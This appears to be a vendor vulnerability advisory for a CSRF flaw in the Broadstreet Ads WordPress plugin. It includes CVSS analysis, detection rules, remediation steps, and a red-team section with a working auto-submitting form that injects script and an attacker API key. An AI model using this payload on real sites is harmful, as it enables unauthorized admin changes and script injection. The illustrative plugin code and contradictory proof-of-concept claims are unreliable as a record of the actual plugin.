CVE-2025-32270
Executive Summary
CVE-2025-32270 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Broadstreet Ads WordPress plugin, versions from n/a through 1.52.1. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying ad settings, deleting campaigns, or injecting malicious ad code. The vulnerability is classified as CWE-352 with a CVSS score of 4.3 (Medium). No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of WordPress and the plugin’s administrative privileges, this vulnerability poses a significant risk to site integrity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The Broadstreet Ads plugin is installed on WordPress sites to manage advertising campaigns. The CSRF flaw enables attackers to forge requests that modify plugin settings, potentially leading to ad injection, data exfiltration, or site defacement. No Apache or Nginx server-side misconfiguration is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the CSRF.
- User Interaction: Required (UI:R) – Victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No direct data disclosure.
- Integrity Impact: Low (I:L) – Attacker can modify plugin settings or inject ads.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for ad injection and site defacement makes this a serious concern for WordPress site administrators.
Deep Dive & Mechanics
The vulnerability resides in the Broadstreet Ads plugin’s administrative interface. The plugin fails to implement CSRF tokens or other anti-forgery mechanisms in its state-changing requests (e.g., saving ad configurations, deleting campaigns, or updating API keys). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin’s admin-ajax.php or admin-post.php endpoints.
Attack Flow:
- The attacker identifies a WordPress site running Broadstreet Ads <= 1.52.1.
- The attacker crafts a CSRF payload (e.g., a hidden form or image tag) that sends a POST request to
/wp-admin/admin-ajax.php?action=broadstreet_save_settingswith malicious parameters. - The attacker lures an authenticated admin to visit the crafted page (e.g., via phishing email or social engineering).
- The admin’s browser automatically sends the forged request, including their session cookies.
- The plugin processes the request, modifying settings (e.g., injecting a malicious ad script) without the admin’s consent.
Root Cause: Lack of CSRF nonce validation in the plugin’s AJAX handlers and admin pages.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below. A patched version would include CSRF nonce verification.
Vulnerable Code (example from Broadstreet Ads <= 1.52.1):
// In admin-ajax.php or similar
add_action('wp_ajax_broadstreet_save_settings', 'broadstreet_save_settings');
function broadstreet_save_settings() {
// No nonce check
update_option('broadstreet_ads_settings', $_POST['settings']);
echo 'Settings saved';
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_broadstreet_save_settings', 'broadstreet_save_settings');
function broadstreet_save_settings() {
// Verify CSRF nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'broadstreet_save_settings')) {
wp_die('CSRF validation failed');
}
update_option('broadstreet_ads_settings', $_POST['settings']);
echo 'Settings saved';
wp_die();
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Broadstreet Ads <= 1.52.1.
- An authenticated admin user (victim).
- A web server to host the malicious CSRF page.
Step-by-Step Exploitation:
Craft the CSRF Payload: Create an HTML file (
csrf_exploit.html) that automatically submits a form to the vulnerable endpoint:<html> <body> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form"> <input type="hidden" name="action" value="broadstreet_save_settings"> <input type="hidden" name="settings[ad_code]" value="<script>alert('XSS')</script>"> <input type="hidden" name="settings[api_key]" value="attacker_key"> </form> <script>document.getElementById('csrf_form').submit();</script> </body> </html>Host the Payload: Place the file on an attacker-controlled server (e.g.,
http://attacker.com/csrf_exploit.html).Lure the Victim: Send a phishing email or social engineering message containing a link to the malicious page. The victim must be logged into WordPress as an admin.
Trigger the Attack: When the victim visits the page, the form auto-submits, changing the plugin settings to inject a malicious ad script.
Expected Outcome: The attacker can modify ad configurations, inject JavaScript, or steal API keys.
Blue Team (Defender)
Detection Steps:
- Monitor Admin AJAX Requests: Look for unexpected POST requests to
admin-ajax.phpwithaction=broadstreet_save_settingsfrom non-admin IPs or without a valid nonce. - Check Plugin Settings: Regularly audit the Broadstreet Ads settings for unauthorized changes (e.g., unknown ad codes or API keys).
- Review Server Logs: Search for
broadstreet_save_settingsin access logs and correlate with user sessions.
Mitigation:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithout a valid nonce. - Educate administrators about phishing attacks.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=broadstreet_save_settingsand no_wpnonceparameter. - Referer headers from suspicious domains (e.g., attacker-controlled sites).
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries forbroadstreet_ads_settings. - Unexpected JavaScript code in the site’s footer or header (injected via ad code).
- Modified
- Behavioral IOCs:
- Unauthorized changes to ad campaigns or API keys.
- Sudden appearance of pop-up ads or redirects.
Detection Engineering
YARA Rule
rule CVE_2025_32270_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against Broadstreet Ads plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32270"
strings:
$ajax_action = "broadstreet_save_settings"
$csrf_form = "action=\"broadstreet_save_settings\""
$settings_param = "settings["
condition:
any of ($ajax_action, $csrf_form) and $settings_param
}
Sigma Rule
title: CVE-2025-32270 - Broadstreet Ads CSRF Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSRF attempts against Broadstreet Ads plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=broadstreet_save_settings'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-32270 - Broadstreet Ads CSRF Exploit";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=broadstreet_save_settings";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and uninstall Broadstreet Ads until a patched version is released.
- Audit Settings: Check the
wp_optionstable for any unauthorized changes tobroadstreet_ads_settings. - Rotate API Keys: If the plugin uses external API keys, regenerate them immediately.
Long-Term Fixes:
- Apply Patch: Monitor the Broadstreet plugin repository for an update that includes CSRF nonce validation.
- Implement CSRF Protection: For custom WordPress plugins, always use
wp_nonce_field()andcheck_admin_referer(). - Use a WAF: Deploy a Web Application Firewall (e.g., Cloudflare, ModSecurity) to block suspicious requests.
- Educate Users: Train administrators to avoid clicking links in unsolicited emails.
Workaround (if plugin must remain active):
- Add a custom function to your theme’s
functions.phpto enforce CSRF checks:add_action('wp_ajax_broadstreet_save_settings', function() { if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'broadstreet_save_settings')) { wp_die('CSRF validation failed'); } }, 1);
Valters IT
Securing WordPress, One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.